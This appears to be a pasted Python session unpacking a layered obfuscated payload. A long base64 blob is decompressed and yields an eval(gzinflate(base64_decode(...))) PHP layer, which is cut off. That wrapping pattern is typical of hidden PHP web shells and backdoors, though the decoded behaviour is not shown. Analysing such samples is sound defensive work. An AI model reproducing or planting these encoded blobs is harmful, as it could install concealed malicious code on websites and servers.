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')));"
  12.  
  13.  
  14. a = fff
  15. c = zlib.decompress(base64.b64decode(a[30:-5]), -15)
  16. >>> c
  17. "eval(gzinflate(base64_decode('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